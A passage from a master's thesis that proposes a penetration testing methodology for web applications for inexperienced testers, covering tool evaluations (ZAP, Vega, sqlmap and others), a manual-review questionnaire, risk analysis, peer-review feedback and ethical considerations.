entered into an algorithm, which would construct a suitable method out of relevant tools and
methods. As an early proof-of-concept prototype, a basic JavaScript application was con-
structed, into which traits of the system-under-test was entered. These traits included pure
practical components such as user input fields and back-end databases, as well as business
aspects such as whether various types of sensitive data were being stored. The application
would then, based on the input, produce a recommended set of tools and methods to ap-
ply when testing the application, although at this stage, the solutions were rudimentary and
incomplete.
5.6 Verification of Comprehensive Methodology

In any field of science, there are numerous methods to verify results. When attempting to
verify the effectiveness of the proposed methodology, there were a few of particular interest.
Empirical Validation
Empirical validation, in its essence, describes the gathering and analysis of empirical evi-
dence to verify the truth or falsity of any given claim. While the methods involved in the
collection of evidence may vary considerable depending on the field of study, the validation
relies on the possibility of evidence verification, only allowing for objectively ascertainable
data to be considered valid. While such validation provides excellent levels of confidence, it
is also not applicable to many types of experimentation, primarily in cases were subjective
experiences are in any way relevant.
For this thesis, empirical validation could not be included in the scope, but is noted here
and elsewhere as potential future work.
Peer-Review
Peer-review, in its general sense, describes the evaluation of the work of some individual
or group by another individual or group (of similar or greater knowledge of the field), in
order to enhance (or question) the validity of the results and conclusions of the work. Having
an independent review process is likely to result in the discovery of issues with the work
through the introduction of additional perspectives itself [56].
A specific type of this process, scholarly peer-review, describes this process within the
environment of academic work. In such cases, including this master’s thesis, the reviewer
could be an industry expert, rather than an academic one, to ensure that the methodology
is sound from an industry stand-point, rather than a purely academic one. While otherwise
similar to ordinary industry peer-review, the process is somewhat more difficult, as schol-
arly work may often describe results from unique instances of research, with little previous
24
5.6. Verification of Comprehensive Methodology
knowledge against which to compare. Unfortunately, this also increases the possibility of the
review process failing to identify errors, as well as introduces an increased risk of bias, where
reviewers may favor works which strengthens their own beliefs, or even suppress work that
runs counter to established theories, such as the supposed cases presented by Martin [57].
While the interviews performed during the literature study served as early confirmation
of the general ideas and concepts relating to the methodology, as well as confirmation re-
garding the relevance and accuracy of the representation of industry phenomena within this
thesis work, they did not apply to the final methodology. Instead, peer-review sessions were
held with employees of Secure State Cyber.
Field Experiment
A field experiment is a method of research by which interaction between some test-subject
(such as a computer program or system) and a naturally occurring environment, to inves-
tigate the result. It is differentiated from ordinary field research by the introduction of this
external entity. While the natural environment may be artificially limited, it is distinctly dif-
ferent from a laboratory test, as the researcher does not have nearly the same level of control
over the natural environment. The primary reason for using such methodology is simply that
the results can generally be trusted to match an actual release of the subject fairly well, giving
the results implicit external validity [58]. Still, the lack of control and high level of random-
ization means that the results may always be contaminated by situations beyond the control
of the researchers. True repeatability is almost impossible to guarantee.
Several of the environments used for testing could be considered natural environments,
such as OrangeHRM, which provided a much different kind of testing from the specifically
constructed ones.
25
6 Results
6.1 Literature Study

The results of the literature study are detailed in chapters 2, 3 and 4 of this Master’s thesis.
6.2 Requirements
Scanners and tools needed to be usable with limited knowledge of the specific vulnerabili-
ties, and/or have easily accessible documentation. They also needed to provide a report with
enough detail to easily understand what type of vulnerability had been found and where
exactly it had been encountered, using well established terms, such as the ones used in the
OWASP top ten list. In addition, automated scanners had to be reasonably effective at dis-
covering the vulnerabilities that were mentioned in their respective documentation, without
considerable amounts of false positives being reported.
The Federal Risk and Authorization Management Program, FedRAMP has been consid-
ered to cohere with the requirements established for this papers comprehensive methodology.
Whenever applicable, such as when a tool includes a crawler or active scanner, they need to
be able to perform authenticated scans of the entirety of the application. Furthermore, the
scanners should provide a summary of its findings in order to be able to measure each scan-
ners effectiveness.
Given that no tool can be expected to work flawlessly or find every potential flaw in an
application, effectiveness was largely measured by comparison between tools, depending
on range and depth of their results regarding particular vulnerabilities. For the complete
methodologies, it was concluded that any given solution must include at least one measure
against each of the vulnerability types from the OWASP top 10 to be considered effective.
In summary, the comprehensive methodology had to contain only tools which fulfill the
below requirements (when applicable), and provide guidance regarding each of the vulnera-
bilities presented in the latest OWASP top 10 (November 2017).
• Authenticated Scanning
Automated tools, which include crawlers and active scanners, need to be able to
perform these tasks in an authenticated state.
• Ease-of-use
26
6.3. Selection, Testing and Evaluation of Tools and Features
Tools need to either be intuitively designed to a degree that an inexperienced user

can apply them, or have easily accessible and understandable documentation.
• Tool reports
Tool reports need to report their finding with sufficient detail and accuracy.
• Tool Effectiveness
Tools need to have been confirmed as functional at detecting the vulnerabilities for
which they are designed.
6.3 Selection, Testing and Evaluation of Tools and Features

The results of the testing against environment with known and documented vulnerabilities
is included in table form in appendix A, but will be described in greater detail below, catego-
rized by tool.
VEGA
The VEGA tool was able to detect many types of vulnerabilities using its automated fea-
tures, especially various types of XSS, with decent accuracy. While false positives were re-
ported, it was deemed to be within acceptable boundaries, given that even those instances
were reported based on the acceptance of special characters as input. SQL injection and XXE
vulnerabilities were also found without much issue. The inclusion of a request editor and
proxy also meant that the tool could be used to ease the manual exploitation of many other
vulnerabilities. Authenticated scans were limited in applicability, being difficult to configure
and occasionally impossible due to a reported "high complexity" of application authentica-
tion. The report was displayed with clear priority levels and included specific URLs and the
requests used to find the vulnerabilities, when applicable.
Zed Attack Proxy

ZAP was the ultimate tool when performing crawling, scanning, and fuzzing. Its ability to
manually intercept requests between a client and a server made it easy to verify the findings
of the active scanners. ZAP was able to do full automated credential scans on all test envi-
ronments, either with a session cookie or user credentials. Further, the summary provided
sufficient details with distinct levels of awareness in order to measure its effectiveness against
the environments’ known vulnerabilities.
Arachni
The Arachni tool was highly effective, but somewhat difficult to work with. It was not un-
common to see the run-time pass 24 hours nor was it intuitive to configure. Still, the report
was of high quality, making very clear distinction between levels of critically, and providing
some recommendations regarding mitigation.
Sqlmap
While specifically targeting only one type of vulnerability, sqlmap proved to be very capable
within its particular scope. The inclusion of actual exploitation of the found flaws, including
database display and password cracking, allowed for easy and effective verification, elim-
inating the possibility of false positives entirely. While the tool is command line based, it
allows for extensive customization, and documentation is easily available.
27
Table 6.1: Tools and their respective fulfillment of requirements

Authenticated Scanning Ease-of-use Tool reports Tool Effectiveness
Vega X X X X
ZAP X X X X
Arachni X X X
Sqlmap X X X
IronWasp X X
Wapiti X X
BurpSuite CE X X X
Grabber X
w3af X
Webscarab X
Skipfish X
Figure 6.1: Comprehensive Methodology
IronWASP
While similar to Vega and ZAP, IronWASP was found to be considerably more complex, con-
taining several features the aforementioned tools did not. However, actual results were com-
paratively lacking, and active scans had much longer run-time, even when manually guided.
Wapiti
As a completely automated tool, Wapiti employs a crawler and an active scanner, report-
edly capable of detecting a variety of vulnerabilities, including XSS and SQLi. When tested,
though, it was unable to detect the easily exploited SQLi flaws of Wackopicko and did not
find any of the flaws in DVWA, as that environment requires authentication to access any of
the vulnerabilities.
BURPsuite Community Edition (CE)

BurpSuite CE did only provide essential manual tools. It helped to verify manually found
vulnerabilities with the intercepting proxy and to map out a custom site-map of the targeted
web application.
Non-viable Tools
After intital testing, Grabber, w3af, webscarab and Skipfish were found to not fulfill enough
of the requirements to be included in the methodology, as shown in table 6.1.
6.4 Comprehensive Methodology

This section presents the methodology, as depicted in figure 6.1, in full. Specific motivations
for each step will be detailed in their respective subsections below.
28
Manual Review
In order to start off the testing, one must get a clear and comprehensive overview of the ap-
plication. The first step of pre-testing investigation should be to answer the below questions.
Some are easy to answer by oneself or by simply looking through any documentation that
you have been given access to. Other questions require the aid of someone related to the web
application being tested. It is important to note that different question may require different
sets of knowledge to answer and different decisions may require different levels of authority
to make. As such, always try to make sure to speak to the right person at the right time, be
it a manager, an engineer or a legal representative. Below, a list of general questions that can
aid with the manual review is presented.
Further, it is very important to be aware of the possibility for both customer knowledge
and documentation to be faulty or incomplete. The results of the manual review should be
used as a foundation for the testing, not as a complete guide to be followed blindly.
1. What kind of web application are you dealing with? Is it an informative web application
or an interactive web application?
The incentive behind this general question is to get the user of this comprehensive
methodology to understand the main purpose of the web application. As defined
in this context, an informative web application does not have authentication, ac-
cess control or any database. Therefore, there is no need to spend time on checking
broken authentication, broken access control nor sensitive data exposure or injec-
tion.
2. What tools are available? Scanners, fuzzers, specialized tools? Will the customer supply
any software to be incorporated?
In cases where the user needs to conduct tests in-house, tools could be limited.
Different tools are good at different things and the tool arsenal should be verified
before-hand. Since this algorithm is not strictly connected to any particular set of
tools or methods, this question also serves to define the potential tools that could
be included in the solution.
3. What is the scope of the testing? What kind of preferences and instructions has the
customer supplied you with?
General questions are here to help the user of this comprehensive methodology to
understand the great advantage of knowing the testing environments inside and
out before actually conducting any tests. This particular question reminds the user
to get the customer to sufficiently explain the scope of the testing as well as provide
existing documentation.
4. Who are you dealing with? Is your customer military, governmental or commercial?
Different laws, threats, and scopes are applicable to different customer segments.
Such external factors have to be known in order to know which level of security
the testing should be conducted. The organization will probably provide details in
such matters, based on which particular circumstances can be discussed.
5. Is there any prioritization order? Is there any particular attack or functionality, that is
being extra important to consider?
If preferences regrading priority of various application components exist, it is bet-
ter to know this before conducting tests in order to spend the time testing wisely.
It is recommended to prioritize in accordance with the OWASP top 10, unless oth-
erwise instructed by the customer, especially in the case of scope limitations.
6. What knowledge/experience/competence are available within the customer’s organi-

zation?
29
What professional title/position does the primary customer contact have? Is

it a technician or a manager, what insight do they have? Is the contact el-
igible to provide sufficiently detailed answers and documentation, and in a
position to make executive decisions? In the cases where limited knowl-
edge/experience/competence is provided, the user has to make the best of the
situation and manually check for certain vulnerability categories. It may also be
necessary to request additional contacts within particular fields.
7. Is there sensitive data being stored within the application’s database? If so, what spe-
cific kind of data?
Regardless of the kind of the web application, it is not always necessary for an
application to have a database. If there is no database or if there is a database but
which is not storing sensitive data, there is no need to spend time on finding sensi-
tive data exposure. If there is such data, the level of sensitivity must be considered.
8. Is there any logging and monitoring on the web application?

If no logging and monitoring on the web application can be found, the only way
to mitigate this is by having a dialog with the system owner. On the other hand,
if there are logging and monitoring on the web application, this can only be re-
viewed manually and by verifying the countermeasures and detection chapter in
the literature study 2.2.
9. Is there any deserialization of user supplied objects?

Whether XML snippets, java objects, or any other potentially deserializable user
input, any use of deserialization needs to be identified and scrutinized. As men-
tioned in section 2.2, such input should not be allowed to be deserialized at all, if
possible, and must otherwise be manually examined and made secure.
Once the above has been sufficiently covered, one must perform a comprehensive map-
ping of the application in question. Preferably, a good idea of the layout has already been es-
tablished through documentation or source code analysis, but no matter the extent of knowl-
edge, a practical web crawl, either manual or automatic, is greatly beneficial.
Tools and Method Selection

Once the manual review has been performed, there should be enough information to figure
out what vulnerabilities are likely to be present in the application, and what actions should be
prioritized. To aid with this, an algorithm was constructed as part of this Master’s thesis. This
algorithm requires the questions from the manual review to be answered, based on which it
will recommend a particular set of actions. While the algorithm should be helpful, the rest of
the methodology does not strictly require its use. As the process is iterative, and the results of
testing may change one’s understanding of the application, this step should also be returned
to several times to expand the list of interesting tools and methods.
Vulnerability Testing and Verification

The specific nature and procedures of vulnerability tests vary immensely from situation to
situation. Each iteration of testing will involve different tools and methods, but some gener-
alizations can be made depending on the results from the manual review.
Firstly, question 1 from the manual review has a major impact on the proceedings. An
informative web page can be presumed to be safe from a large amount of attacks, given the
limited interactivity. A basic scan with some automatic crawler and scanner will still be worth
performing, but many of the more specialized technical tests will be unlikely to be worth-
while. Since the only real user input is the URL itself, it may be worth attempting to fuzz
30
it, to look for potential public access to back-end features or administrative details, however
limited those may be. Otherwise, for web application that are interactive, the recommended
method will be to start out with general scanning, using primarily automatic tools with active
scanners, such as ZAP or Vega. If possible, the use of multiple such tools is highly beneficial,
as it will allow for substantial inter-tool verification of vulnerabilities. If several tools pro-
vide matching results, it is very likely that the vulnerability is actually present, and should be
easily verifiable by manual means, presuming personal understanding of whichever partic-
ular vulnerability is being reported. Such cases should of course take priority, with potential
vulnerabilities reported only by one scanner being of limited immediate interest. Depend-
ing on personal ability and previous experience, different vulnerabilities will be more or less
difficult to verify. For simpler and common vulnerabilities, immediate verification should be
performed, while more unfamiliar or inherently more complex vulnerabilities may need to
await further investigation at a later time.
Similarly, question 2 affects what specific scans and techniques can be applied. While the
comprehensive methodology takes into consideration the tools described in chapter 4, the
algorithm is highly modifiable and expandable with regards to potential tools.
During testing, care must be taken to adhere to whatever specification the customer has
given with regards to questions 3,4 and 5. Given the wide array of potential circumstances,
it is impossible to apply general rules, and every decision must be based on the information
supplied by the customer. However, unless these circumstances prevent it, it is recommended
to focus on the vulnerabilities in the order by which they are listed in the OWASP top 10.
When initial scans have been run, the automatic tools will with no doubt have reported
some vulnerabilities, particularly ones of more technical nature, but a large amount of poten-
tial issues must be handled manually. This should be done in parallel with the verification
of the low priority findings from the automatic tools. There are some vulnerabilities on the
OWASP top 10 which are almost purely noticeable through analysis of documentation. Dur-
ing the manual review, some potential vulnerabilities should already have been confirmed,
if present. This includes Insufficient Logging and Monitoring, many aspects of Security Mis-
configuration and Using Components with known vulnerabilities. Some security risks can
also have been shown by the manual review to be very unlikely, such as having insecure de-
serialization if there is no deliberate deserialization present in the application to begin with
(although this does not exclude the possibility entirely). The same goes for Broken Authen-
tication, Bad Access Control and Injection flaws, all of which require different features to be
present within the application. Depending on question 6, 7, 8 and 9, aid can be requested
from whatever experts are available from the customer regarding specific contexts, and spe-
cific vulnerabilities can be identified, prioritized and discussed in the following risk analysis
and reporting steps.
Risk Analysis
Prior to the reporting, a risk analysis needs to be done to create the prioritization order of
the findings, as a recommendation regarding which finding the customer should mitigate
first. Since the mitigation itself is not part of the penetration testing, it will need to be up to
the customer to make the final decisions, although supplying with recommendations would
generally be considered to be within the scope of this methodology. Firstly, the risk of ex-
ploitation must be estimated. By identifying potential attackers, one may estimate how likely
it is for a flaw to be discovered by that same attacker, and how easy it would be for them to
exploit it. Secondly, the potential damages must be calculated. Such damages include direct
monetary losses and potential reputation risk. If a flaw could constitute non-compliance with
established law, this must also be taken into account.
Notably, a penetration tester may not have sufficient knowledge to estimate some of these
factors, in which case it is important to get assistance from professionals within the specific
fields. This could include legal councilors, marketing professionals or economists. If possible,
31
6.5. Design of Interactive Algorithm
these should be part of the web application owner’s organization, to maximize relevance to
their particular situation.
Given the potential for a considerable amount of findings to analyze, it is important that
risk analysis is given enough time to ensure the quality of the assessment. Since mitigation
can be costly, not all vulnerabilities will necessarily be handled, making prioritization very
important. It is crucial to consider the costs of implementing mitigation techniques versus
the potential cost of an exploitation. A single flaw in the application may cause a multitude
of vulnerabilities, in which case it should be given high priority.
Reporting
The final stage of the comprehensive methodology is to write a report to the customer. The
contents of the report should be sorted in a risk severity order together with a notation of how
important it is to mitigate the particular issues. All content in the report has to be verified
and should include suitable mitigation techniques.
6.5 Design of Interactive Algorithm

Based on the comprehensive methodology, a JavaScript based algorithm was developed in
order to sustain a visible and understandable prototype. It was built upon the manual review
questions, in order to accumulate enough details to optimize and automate the choice of tools
and methods, derived from the likelihood of the occurrence of specific vulnerabilities.
6.6 Verification of Comprehensive Methodology

While methods for verifying the quality and effectiveness of the comprehensive methodology
have been identified, the scope of this thesis work did not allow for sufficient application of
these methods. To the extent possible, the intended or performed methods are described
below.
Peer-Review
For the peer-review process, individuals from Secure State Cyber were chosen.
Jakob Hägle, a Certified Information Systems Security Professional (CISSP) noted that the
comprehensive methodology was a good starting point for in-experienced ethical hackers,
and that it appeared to be generally applicable to web application penetration testing. He
further agreed with the importance of being open to specifications from the customer, given
that the level of interest any particular vulnerability deserves is highly dependent on a vast
amount of circumstances. In many cases, he speculates, a web application and its robustness
may be of very little importance in the larger scope of the customer’s business.
Security Advisor and ISTQB-certified Tester Jonas Molin agreed thoroughly with the in-
dustry need for knowledge and experience transferal. He further notes the importance of
not blindly trusting the information given by the owners of web application, as they may
well provide incorrect information. Reasons for this can include simple misunderstandings
or lack of insight, but may also be a result of professional pride. Jonas further found the risk
analysis to be well constructed, noting the necessity of allowing the customer to make any
decisions regarding actual mitigation.
This validation method could be made much more substantial with the inclusion of input
by additional peers, something which was not possible to perform as part of this thesis work
due to time constraints.
32
6.6. Verification of Comprehensive Methodology
Empirical Validation
For any data to be considered to be empirical, it would have to be gathered by persons not
involved with the construction of the methodology, and not include results of initial tool
testing. Such arrangements were not possible to make within the time restrictions of this
thesis work.
Field Experiment
As most of the environments available to test against were designed with deliberate vulner-
abilities, an effort was made to run tests against environments that were not designed in this
way. Since these applications were entirely natural, these tests could not be verified against
any list of known vulnerabilities. While limited in scope, field experiments of the compre-
hensive methodology were run against Bila Nu, Presentshoppen and OrangeHRM, none of
which had any intentional flaws.
Bila Nu & Presentshoppen

Since these two applications are single page (SPA), they use a lot of dialog boxes for both dis-
play and user interaction. Dialog boxes are by nature hard for an automatic tool to evaluate
since it creates a disconnect between the user and the actual web page, rather than the kind
of direct requests most scanner and crawlers are designed to take advantage of.
Given the frameworks used to develop these applications, particularly SQLAlchemy, se-
curity against certain attacks was already in place. The biggest advantage was the limitations
of SQLi exploits, to the point where specialized tools like sqlmap were unable to find any
vulnerabilities.
OrangeHRM
Due to OrangeHRM’s status as an HR management tool, it has a considerable amount of
access points to the database, but not much else. The results of the field experiment for this
application is included in appendix C.
33
7 Discussion
For each aspect of the work performed as part of this thesis, the result and methods used is
discussed below.
7.1 Results
The work performed was successful with regards to the research questions and goals set up
at the start of the thesis. Each specific matter is discussed in their respective sections below.
Literature Study and Sources

The literature study resulted in a good amount of reliable data from a broad set of sources,
both academic and industrial. Due to the prevalence of the many projects within OWASP,
and particularly the Top 10 vulnerability list [5], the vast majority of sources used specific
and well established terms. This allowed for extensive overlap between different studies and
projects, as far as terminology was concerned.
Interviews
The interviews [2], [9], [45] that were performed in parallel with the literature study provided
considerable insight into the real-life situation of penetration testers and the methods they
apply. They were overwhelmingly supportive of the information that had been gathered up
to that point, and internally consistent between each other to an almost complete degree.
As such, they served as excellent sources of credibility for the results of the literature study,
in addition to the new information they provided. They were also positive to the general
idea behind the thesis work, being very positive to the concept of standardization of basic
penetration testing.
Requirements
The requirements constructed and used for the quality verification of both the tools and the
comprehensive methodology were founded in practical necessities and established industry
baselines, such as the ones by FedRAMP [43].
34
7.1. Results
The delimitations made regarding scope meant that basic performance and comparative
effectiveness regarding specific vulnerabilities were the most important. Had the scope of
the thesis been larger, allowing for the inclusion of more tools and methods, it would have
become necessary to create stricter and more formal requirements with regards to the above
metrics. However, with the current scope, the end result is considered sufficient, providing a
solid foundation for potential expansion.
Apart from the effectiveness requirements, which were completely necessary for the pur-
poses of the methodology, practical circumstances were also chosen as a deciding factor for
which tools to include. Giving that the target users of the solution were professionals of lim-
ited experience, ease-of-use was given more consideration than would have been the case if
another, more experienced, demographic had been selected. However, ease-of-use implies
very little regarding the effectiveness of a tool, which motivated the separation and equal
consideration of both types of requirement.
Selection, Testing and Evaluation of Tools and Features

One of the most interesting observations made during the testing was the difficulty many
active scanners and crawlers had in accessing authenticated pages, or even detect many in-
teractive elements. While many crawlers had functionality to perform authenticated scans,
given that they were supplied with authentication to begin with, the effectiveness of these
functionalities was found to vary greatly from crawler to crawler and application to applica-
tion. In general, the amount of manual work required to point even the more sophisticated
scanners towards vulnerable components of the test environments was surprisingly high,
pointing towards a need for a fair bit of specific application knowledge when using them.
There is also the issue of active scanners being unable to report the extent to which they
traversed the entirety of any given application, once more requiring manual verification of
coverage levels.
In addition, the results were often questionable. Fairly often, the active scanners were able
to detect the possibility of various exploits, but their verification processes varied greatly in
both scope and accuracy. For example, the XSS detection within the Vega active scanner veri-
fied the potential for XSS attacks by attempting to insert various special characters, but never
by implementing any actual scripts. While this serves well to imply potential vulnerabilities,
it does little to confirm their actual existence, as other security measures may be in place to
prevent full-fledged attacks. For comparison, sqlmap allows for the completion of SQLi at-
tacks, including the detection and cracking of passwords, leaving no room for interpretation
as to the existence of an actual security flaw.
Interestingly, during scanning, many tools left considerable traces in the application. Pri-
marily, this consisted of tools creating large numbers of new users and/or leaving comments
and posts wherever possible, sometimes resulting in the input showing up as new url-paths
in later scans. While not catastrophic, this had to be taken into consideration, given that the
environment could not be considered completely static when scans were run concurrently or
in succession without applications being reset. It also points to potential issues if testing is
performed in live environments.
Unsurprisingly, some types of vulnerabilities were much easier for tools to detect than
others. Straight-forward insertion flaws of various types were by far the most commonly de-
tected by scanners, and easily verified by either using fuzzers or simple manual attacks. For
many of the slightly more complex attacks, such as stored SQLi and multi-step XSS attacks,
most tools were completely unable to detect the problem. This is likely due to a lack of a
proper fail state, meaning that the tools may have successfully exploited the flaw, but did not
recognize or report it. Some vulnerabilities, that could be considered somewhere between
logical and technical, such as common user credentials or URL-paths, were often cracked
with little manual effort using fuzzers, although run-time could become an issue. It is worth
noting that while the run-time for fuzzing a username/password pair was somewhat imprac-
35
7.1. Results
tical during this thesis, and could pose some minor issues when under time-limited contracts,
it would cause very little concern for actual hackers, who are rarely under any considerable
pressure regarding time. However, in practise, fuzzing input into web-applications is eas-
ily prevented by limiting how many attempts are allowed in rapid succession, a mitigation
technique already in place for many applications, especially for authentication input.
Comprehensive Methodology
While the proposed comprehensive methodology is rather general, there is a noticeable lack
of established and general methods of complete vulnerability detection and mitigation within
the industry. Despite not providing any new specific methods or tools, the methodology de-
livers a solid foundation for inexperienced ethical hackers, providing several inherent bene-
fits.
Primarily, it describes a structured and understandable sequence of steps to perform, from
the very beginning of the information gathering phase, all the way to the reporting of the find-
ings. This way, the process is kept simple, high in quality, and should result in the possibility
of raising the security level for any evaluated web application.
It was based on the InfoSec Institute methodology rather than any other alternative pri-
marily due to it’s limited length and clear distinction between activities. For this thesis work,
the information gathering phase was changed to a comprehensive manual review complete
with an algorithm which leads into the vulnerability testing phase. The testing has been ex-
panded and made explicitly iterative. The risk analysis and reporting stages have in turn
been designed as distinctly customer oriented.
Design of Interactive Algorithm

The interactive algorithm, while sufficient for the scope and purpose of this thesis, remains
highly expandable. Notably, the exclusion of commercial tools leaves much to be desired,
although the delimitation remains sound. With the field of web security remaining active, any
algorithm will, by its very nature, be subject to degradation over time, and require continuous
upkeep.
To represent the process of penetration testing and vulnerability scanning as a short ques-
tionnaire could be considered an over-simplification. While a valid point, the purpose o this
representation is to allow a simple and basic methodology for base-line processes, not an
extensive and complete technical guide.
Verification of Comprehensive Methodology

As there was no opportunity to perform tests against actual customers, the results of the field
experiments were limited to largely functional aspects, regarding the effectiveness of the pen-
etration testing, and applicability of the selection process, risk analysis and reporting. Due to
the personal insight into the construction of Bila Nu and Presentshoppen, it was possible to
confirm with great certainty that simply by using modern libraries and frameworks, the de-
velopment of web applications are likely to be considerably secure against the great majority
of simple and technical attacks, even without expressively taking security into account. In a
fitting counterargument, the example of the older OrangeHRM made clear that web applica-
tion being secure at any point in time is unlikely to remain so. Due to this, the methodology
could be shown to be fully capable of being used to continuously verify that an application
remains secure, so long as the technical content of the methodology itself is kept current.
The peer-review process, though limited to security professionals working for Secure State
Cyber, resulted in positive response. In combination with the equally positive response to
the basic concept, received during the earlier interviews[2], [9], [45], it shows an interest from
professional parties which greatly implies potential demand for methodologies such as this.
36
7.2. Method
7.2 Method
The methods used to achieve the above discussed goals are themselves discussed below.
Literature Study and Sources

While care was taken to use peer-reviewed sources wherever possible, many of the subjects
of the literature study required extensive use of industry sources, largely due to the fast pace
with which the industry is evolving. In such cases, though, there was often several sources
available to use to corroborate any given claims. Notably, one of the central pieces of the
literature study, the OWASP Top 10, is constructed through a massive industry peer-review
process1 , lending considerable credibility despite its industry origins. As with any literature
study in an active field, replicability is somewhat of a concern, especially considering the
fairly broad scope of this particular thesis. While general points are unlikely to become incor-
rect within the foreseeable future, the field is being continuously researched, and new studies
will become available.
Interviews
The way the interviews are presented in this thesis, as paraphrased appendixes, was a neces-
sity caused by the structure of the interviews. Firstly, since they were performed in Swedish,
they needed to be translated, disallowing pure transcripts. Secondly, during the interviews
the respondents were allowed to speak freely and expand on issues not present in the ques-
tionnaire. As such, many specific fields were returned to at different points in the interview,
requiring paraphrasing to ensure that the representation of the interviews had an under-
standable flow and structure. Since this allowed for various faults, primarily mistranslations
and misinterpretations, the interview notes were sent to the respective respondents for con-
firmation and comment, mitigating this issue and ensuring adequate accuracy.
Requirements
As the intended user of the methodology was of similar experience and education as the
authors of this thesis, most of the requirements that did not directly concern effectiveness
were constructed based on the experiences during test executions. While this makes them
somewhat less structured and informal than would have been ideal, the scope and focus of
this thesis did not allow for extensive research or external tests within the particular field of
requirement construction.
Selection, Testing and Evaluation of Tools and Features

When documenting the results of the tests, a number of decisions had to be made regarding
their representation. One issue was to determine how close an automatic tool needed to get
to identifying the actual issue in order to be considered successful for any particular vulnera-
bility. The final decision, to consider it successful if it marked the correct URL with the correct
general type of attack, means that some of the results marked as correct may be considered
to border on being false positives. Still, it was determined that such reporting would result
in manual penetration testing that is likely to detect the actual attack potential. For manual
assistance, clearance was given so long as the tool was determined to be of any assistance
when detecting or executing any given exploit. This is admittedly somewhat problematic, as
it marks any tools that contain proxies or request editors as capable of determining a wide
variety of exploit, even those that could be performed without the use of any tools.
1 OWASP Top 10 Issues: https://github.com/OWASP/Top10/issues
37
7.3. The work in a wider context
All of the tests were performed over a network where both the host machine and the
machines performing the scans and attacks co-existed. In real-world black-box hacking situ-
ations, this is rarely the case, and additional circumstances become relevant. Unfortunately,
performing the tests over the Internet would not have been practical, as it would introduce
practical issues, as well as open up the host machine to potential external threats.
In addition, there is no real upper limit to the potential extent of experimentation of this
type that could be performed. The scope with which it was carried out was decided based on
the available subjects and the general scope of the thesis, but more testing could always be
performed.
Comprehensive Methodology
The intended user of the methodology was defined quite early to be educated security an-
alysts with limited or no professional experience of penetration testing, but with a decent
understanding of a few core concepts. This idea had its origin in that such a user would
be of similar ability as the authors of this Master’s thesis, but was further cemented by the
interviews [2], [9], [45] held during the early parts of the thesis. Comments regarding the
lack of established methodology and difficulties getting experience in the early career stages
of professional penetration testing lent credence to the choice of focusing on this particular
demographic.
Design of Interactive Algorithm

The method by which the algorithm was designed was limited by the availability of well
documented tools and environments, as well as the vulnerabilities that were chosen to be
considered. From the literature study, it became apparent that most open-source tools and
environments are no longer being updated, implying that the market may have moved on to
almost exclusively commercial tools. In addition to this, individual vulnerabilities will, over
time, experience shift in their level of criticality to the industry, further increasing the need
for the algorithm to be kept updated.
Verification of Comprehensive Methodology

While the interviewees had all been positive to the idea of the complete methodology, they
were not involved in the peer-review verification process of the complete methodology. In-
stead, systems security professionals from Secure State Cyber involved with the thesis were
used. The limited scale of this peer-review process is unfortunate, and if there had been
opportunity for it, it would have been expanded.
Due to field experiments with real-world customers not being possible within the scope
of the thesis, they had to be run against other real environments. While the lack of exter-
nal feed-back was unfortunate, this required and allowed for a different mindset and ap-
proach, providing different types of results and conclusions. Still, the method by which they
were performed allowed for the construction of the example procedure shown in appendix
C, which serves well to visualize a potential application of the methdology.
7.3 The work in a wider context
Existing Methodology
In 2001, a patent was claimed regarding a method for designing and constructing a System
for Determining Web Application Vulnerabilities [59]. The patent consists of a web crawler
that gets the application interface structure and a detection process that gets the list of the
web applications vulnerabilities in place. Furthermore, it contains a mutation process which
38
7.3. The work in a wider context
corresponds to the potential attack vectors that could be used in order to exploit the vulner-
abilities in the before mentioned list. Lastly, it describes a report stage where it generates a
report recommending fixes and other relevant pieces of advice.
Stuttard et al, the authors of The Web Application Hacker’s Handbook [60], have pub-
lished a technical methodology on how to attack a web application. They put the described
techniques in a step-by-step process. The methodology is divided into a recon and anal-
ysis part, followed by four distinct vulnerability test areas. The described techniques are
subset to the vulnerability test areas which are: application logic, access handling, input han-
dling, and application hosting. Lastly, miscellaneous checks and information leakage tests
are performed. The general concept, as with this master’s thesis methodology, is to use the
methodology as a guide and not follow it too strictly.
Ethical Aspect: The potential for malicious use

Concerning research in this area, precautions need to be taken considering the potential ille-
gal application of the methodology. Since both attackers and defenders are highly concerned
about the same type of tools and vulnerabilities, knowledge contributions in the area bene-
fits both types of hackers. However, raising the baseline can be expected to benefit ethical
hacking primarily, as it makes low-level attacks much harder to perform.
Societal Aspect: Increasing ease of penetration testing

While raising the baseline of security by making a methodology that inexperienced peo-
ple can use effectively is likely to increase the average quality of work, it may potentially
also serve to reduce incentives for developing expertise. Still, there is little reason to expect
this outcome, given that the field will still remain highly technical, and encourage personal
knowledge no matter how standardized the basic concepts become.
Societal Aspect: Increasing Cybersecurity Threats

With the increase in potential attack vectors and access points as a result of the number of in-
ternet connected devices, and the high likelihood of such products being produced as cheaply
as possible for economic and marketing purposes, it is reasonable to expect security to be a
lower than optimal priority in their development. Making low level security easier to imple-
ment through standardization should serve to mitigate the potential effect of this develop-
ment.
39
8 Conclusion
8.1 Main Contributions

From the onset, the primary purpose of this Master’s thesis was to give the current and fu-
ture generations of penetration testers a methodology and a mind-set of how to try to face
the huge problem of vulnerabilities in web applications, without requiring great amount of
personal experience in the field.
The business value of the presented methodology is quite clear, given the current state
of the industry. The same few vulnerabilities remain on the OWASP top 10 list [5] for years
on end, despite many of them being fairly simple to mitigate. At the same time, develop-
ers are focused on the creating functional applications, while managerial staff is interested in
the applications being user-friendly and easy to market. Far too rarely is security a primary
concern [9]. The reason for this is, at least in part, that web application security is a com-
plex field, with individual expertise being a critical factor for many professional penetration
testers. This makes it expensive to perform high quality tests, further hurting the likelihood
of sufficient tests being run at all.
The proposed methodology allows for people of limited security knowledge to perform
baseline vulnerability scanning and penetration testing, without the need for an expensive ex-
pert. Intruders will, in the vast majority of cases, be most interested in attacks which achieve
their goals with minimal effort. By increasing the general security of web applications by only
a small amount, the required effort to penetrate the system may be increased to the point that
an attacker is unlikely to even attempt a black-box penetrative attack. When that potential
attack vector is removed by the developers themselves, security experts are free to use their
time to focus on security measures within the greater cope of the organization or system,
rather than attempt to fortify its perimeter.
8.2 Research Question Summary

This thesis set out to answer the following four questions:
• What notable vulnerabilities are most critical for web applications?
• For what types of vulnerabilities are existing automated scanners suitable to use?
40
8.3. Future Work
• What manual methods are needed to complement the automated services to develop a
comprehensive methodology?
• How can the effectiveness of the methodology be verified?
The first research question was answered during the literature study. While there are
countless specific vulnerabilities that could be present in any given web application, they can
often be comfortably sorted into categories. The OWASP top 10 provides not only such cate-
